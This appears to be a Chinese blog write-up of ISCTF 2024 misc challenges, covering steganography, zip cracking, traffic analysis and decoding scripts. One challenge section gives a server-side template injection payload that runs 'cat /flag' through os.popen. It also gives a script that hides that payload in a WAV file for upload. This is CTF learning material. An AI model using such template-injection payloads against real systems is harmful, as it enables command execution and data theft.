1. 小蓝鲨的签到02

随波逐流



识别问题加上IS即可

2. 数字迷雾:在像素中寻找线索

还是随波逐流



加个}

3. 小蓝鲨的签到01

关注公众号发送ISCTF2024即可

4. 小蓝鲨的问卷

答完得flag

5.少女的秘密花园

随波逐流检测有隐藏文件foremost分离

得到base_misc

还有隐藏文件,用aapr纯数字爆开zip,得到flag.txt



iv明显是个png转base64,我们转回去



得到png,再次放进随波逐流,自动修复宽高



最后盲文对照表



得到,最后base32解密



得到flag

6.赢!rar

360zip秒掉



再随一下

7.老八奇怪的自拍照

根据题目521,rgb通道有个zip,save bin提取出来



拖进010,删去多余部分并保存



正常解压图片,在图片属性中找到密钥



steghide解密得到flag.txt



8.File_Format

改zip后缀,aapr纯数字爆破出密码



用bandizip智能解压



9.watermark

key1,文本水印https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html



key2,图片盲水印



得到FAAqDPjpgKJiB6m64oRvUfta9yJsBv

打开zip

搜索isctf即可

10.秘密

puzzlesolver,伪加密修复并强制解压得到jpg图片



拖进010发现password:ISCTF2024



接着用oursecret解密



打开文件得到txt



零宽隐写

11.奇怪的txt

根据题目叙述,我们找到约瑟夫环

https://blog.csdn.net/code_welike/article/details/133056030

https://blog.csdn.net/xiaoxi_hahaha/article/details/113036281?ops_request_misc=%257B%2522request%255Fid%2522%253A%252253372B34-A180-4A77-886E-4A3A53437B2F%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=53372B34-A180-4A77-886E-4A3A53437B2F&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-113036281-null-null.142v100pc_search_result_base2&utm_term=%E7%BA%A6%E7%91%9F%E5%A4%AB%E7%8E%AF&spm=1018.2226.3001.4187

ai辅助编写排序脚本

点击查看代码
import os

def josephus_circle(num_files, step):
files = list(range(1, num_files + 1)) # 文件编号从1到num_files
result = [] # 用于存放挑选的文件编号
index = 0 # 起始位置 # 进行约瑟夫环的数数与挑选过程
while files:
index = (index + step - 1) % len(files) # 计算挑选的位置
result.append(files.pop(index)) # 将文件编号加入结果并从列表中移除 return result # 调用约瑟夫环函数得到文件顺序
selected_files = josephus_circle(137, 7) # 设定要读取的文件夹路径
folder_path = r"C:\Users\Lenovo\Desktop\ISCTF\奇怪的txt" # 请替换为您的文件夹路径 # 获取文件夹中的所有 .txt 文件
all_files = [f for f in os.listdir(folder_path) if f.endswith('.txt')] # 确保文件名正确的顺序
ordered_files = []
for file_number in selected_files:
file_name = f"{file_number}.txt"
if file_name in all_files:
ordered_files.append(file_name) # 创建输出文件
with open("flag.txt", "w", encoding="utf-8") as output_file:
for file_name in ordered_files:
try:
# 读取每个文件的内容
with open(os.path.join(folder_path, file_name), "r", encoding="utf-8") as f:
content = f.read().replace(" ", "") # 删除所有空格
content = "\n".join([line for line in content.splitlines() if line]) # 删除所有空行
# 写入到输出文件中
output_file.write(content + "\n")
except FileNotFoundError:
print(f"Warning: {file_name} not found and will be skipped.") # 输出文件顺序
print("文件排列顺序:", ordered_files)

生成txt文件,接着在进行解密

点击查看代码
import base64

def recursive_base64_decode(encoded_content):
try:
# 尝试解码
decoded_content = base64.b64decode(encoded_content) # 将解码后的内容转换为字符串
decoded_str = decoded_content.decode('utf-8') # 如果解码后的内容仍然包含 Base64 标志字符,则递归解码
if "==" in decoded_str or len(decoded_str) % 4 == 0:
return recursive_base64_decode(decoded_str)
else:
return decoded_content except Exception as e:
# 如果解码失败,说明已经解码完毕,返回当前内容
return decoded_content # 读取包含 Base64 编码内容的文件
with open('flag.txt', 'r') as file:
encoded_content = file.read() # 递归解码
decoded_content = recursive_base64_decode(encoded_content) # 将最终解码后的内容保存为 key.bin
with open('key.bin', 'wb') as output_file:
output_file.write(decoded_content) print("解码完成,结果保存为 key.bin")

12.神秘的ping

拖进010,发现字符倒转,用filereverse倒转

发现是流量包,根据ping,找到https://blog.csdn.net/qy532846454/article/details/5429700

我们用tshark导出icmp到txt中

tshark -r inversion.pcap -Y "icmp.type == 8" -T fields -e ip.ttl > output.txt



接着将 63 替换为00,127替换为01,191替换为10,255替换为11 ,不换行

点击查看代码
# 读取输入文件,替换内容,并写入输出文件
def replace_values(input_file, output_file):
# 创建一个替换字典
replacements = {
"63": "00",
"127": "01",
"191": "10",
"255": "11"
} with open(input_file, 'r') as file:
content = file.read() # 替换值
for old_value, new_value in replacements.items():
content = content.replace(old_value, new_value) # 替换换行符为空
content = content.replace('\n', '') # 将结果写入输出文件
with open(output_file, 'w') as file:
file.write(content) # 调用函数
replace_values(r"C:\Users\Lenovo\Desktop\output.txt", 'aaa.txt')

得到二进制字符串,用puzzlesolver

13.像素圣战

根据名字,翻译成英文就想到pixeljihad

https://sekao.net/pixeljihad/

密码isctf2024



得到01二进制

puzzlesolver转字符



13.神秘的wav

通过题目上传题目给的音频得到路由source,访问发现源码,代码审计,发现render_template_string渲染音频内容,故纯在ssti,先创建一个空音频文件,然后再让ai写一段代码往音频里面写内容。

最终构造{{url_for.globals.os.popen('cat /flag').read()}}。

点击查看代码
import wave
import numpy as np def embed_message(wav_file, message, output_file):
# 将消息转换为二进制
message_bits = ''.join(format(ord(c), '08b') for c in message) # 打开原始WAV文件
with wave.open(wav_file, 'rb') as wav:
params = wav.getparams() # 获取WAV文件的参数
frames = wav.readframes(wav.getnframes()) # 读取所有音频帧
frames_array = bytearray(frames) # 将音频帧转换为字节数组 # 确保消息可以被嵌入,检查音频数据的长度是否足够
if len(message_bits) > len(frames_array):
raise ValueError("消息太长,无法嵌入到音频文件中!") # 遍历每一位消息并修改音频帧的最低有效位
for i in range(len(message_bits)):
if message_bits[i] == '1':
frames_array[i] |= 0b00000010 # 将最低有效位置为1
else:
frames_array[i] &= 0b11111101 # 将最低有效位置为0 # 创建新的WAV文件并保存修改后的音频数据
with wave.open(output_file, 'wb') as output_wav:
output_wav.setparams(params) # 设置输出文件的参数
output_wav.writeframes(bytes(frames_array)) # 写入修改后的音频帧 print(f"消息成功嵌入到 {output_file} 文件中!") # 示例使用
embed_message("test.wav", '{{url_for.__globals__.os.popen(\'cat /flag\').read()}}', '2.wav')

上传wav文件,得到flag

ISCTF的MISC复现的更多相关文章

  1. ISCC之misc复现-High起来!

    题目是赛后经高人指点,跳过坑的,各位看官看看就好 文件下载下来是一张png图片,但是无法打开,估计要修复一下,文件头修复一下,png格式文件头89504EE7 打开是一张二维码,经过扫描后,得到一串中 ...

  2. 蝉知CMS5.6反射型XSS审计复现

    0x00 源起 最近在深入学习反射XSS时遇到蝉知CMS5.6反射型XSS这个案列,乍一看网上的漏洞介绍少之又少,也没有详细的审计复现流程.虽然是17年的漏洞了,不巧本人正是一个喜欢钻研的人.这个CM ...

  3. 2019强网杯部分misc&web

    0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师 ...

  4. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  5. Apache Solr JMX服务远程代码执行漏洞复现

    0x00 漏洞介绍 该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险. Apache Solr的8.1.1和8.2.0版本的自带配置文件s ...

  6. Solr 8.2.0最新RCE漏洞复现

    漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...

  7. [复现]GXY2019

    前言 当时GXY的时候在复习中,临时抱拂脚,没时间打比赛.就写了一题./(ㄒoㄒ)/~~ babysqli 当时做了写了笔记. 过滤了or,()其中or可以用大小写绕过,可以用order by盲注 第 ...

  8. LSB隐写加密MISC

    没有做过LSB隐写加密的题目,在buuoj上面做到了就记录一下,估计后面很长的时间都会在这个平台上面训练自己的MISC和WEB,是很好的平台,把很多比赛的原题和安恒的周赛的复现了. 题目是MISC里面 ...

  9. [GXYCTF2019] MISC杂项题

    buuoj复现 1,佛系青年 下载了之后是一个加密的txt文件和一张图片 分析图片无果,很讨厌这种脑洞题,MISC应该给一点正常的线索加部分脑洞而不是出干扰信息来故意让选手走错方向,当时比赛做这道题的 ...

  10. GKCTF X DASCTF 2021_babycat复现学习

    17解的一道题,涉及到了java反序列化的知识,学习了. 看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚. 打开后是个登录框,sign up提示不让注册, ...

随机推荐

  1. 【论文随笔】基于会话的推荐系统构建方法调查(Survey On Methods For Building Session-Based Recommender Systems)

    前言 今天读的论文为一篇于2023年发表在国际开放信息技术杂志(International Journal of Open Information Technologies)的论文,文章是关于构建基于 ...

  2. 『Python底层原理』--Python字典的实现机制

    在Python中,字典(dict)是一种极为强大且常用的内置数据结构,它以键值对的形式存储数据,并提供了高效的查找.插入和删除操作. 接下来,我们将深入探究 Python 字典背后的实现机制,特别是其 ...

  3. mac强制关闭程序

    使用快捷键:Command+Option+Esc 来打开"强制退出应用程序"的窗口,然后选中你需要退出的程序,再点右下方的"强制退出"即可.

  4. MFC下北京时间与时间戳相互转换

    //时间戳转北京时间字串 CString getLocalDate(__int64 timestamp) { timestamp += 28800;//GTM偏移8个时区得到北京时间 tm p; gm ...

  5. Zotero设置

    1. 说明 Zotero 中文社区 | 百度网盘 使用 zotero 仅同步题录信息,使用其他云同步程序同步文献的附件,此处以坚果云为例进行演示,前期的坚果云同步设置参考文章:Zotero坚果云同步. ...

  6. 【JDBC第5章】批量插入

    第5章:批量插入 5.1 批量执行SQL语句 当需要成批插入或者更新记录时,可以采用Java的批量更新机制,这一机制允许多条语句一次性提交给数据库批量处理.通常情况下比单独提交处理更有效率 JDBC的 ...

  7. 【虚拟机】Windows(x86)上部署ARM虚拟机(Ubuntu)

    [虚拟机]Windows(x86)上部署ARM虚拟机(Ubuntu) 零.起因 最近在学嵌入式,这就不得不涉及ARM指令集,但是电脑是x86指令集的,用手机不太方便,买开发板又要等几天--,总之就是要 ...

  8. restful 服务器一个问题,看ChatGPT的威力 (续)

    资料很多,但是真正能经得住7X24运行的还真不容易.说穿了就是你的程序不够健壮. 玩数据处理的,也就是:数据库连接 → 查询 → 拉数据 → 生成结果 → 释放连接 → 返回数据 .可是看下面: FD ...

  9. android中大咖:TlistView

    d的android中的Tlistview相当于cxGrid,其开发使用中的主咖地位至高无上. 可是如何高效使用快速实现的需求呢?需要的话补官方的教程 上图: GOODLUCK!

  10. TCP延迟调优之PSH参数与passt延迟问题修复

    qemu中使用passt来作为虚拟机的网卡NAT实现,希望能够利用它IP地址与host一致的优点.这本来是没有啥问题的,但是不知道为什么它的TCP入口流量的延迟很严重. 好吧,反正以后总是要改pass ...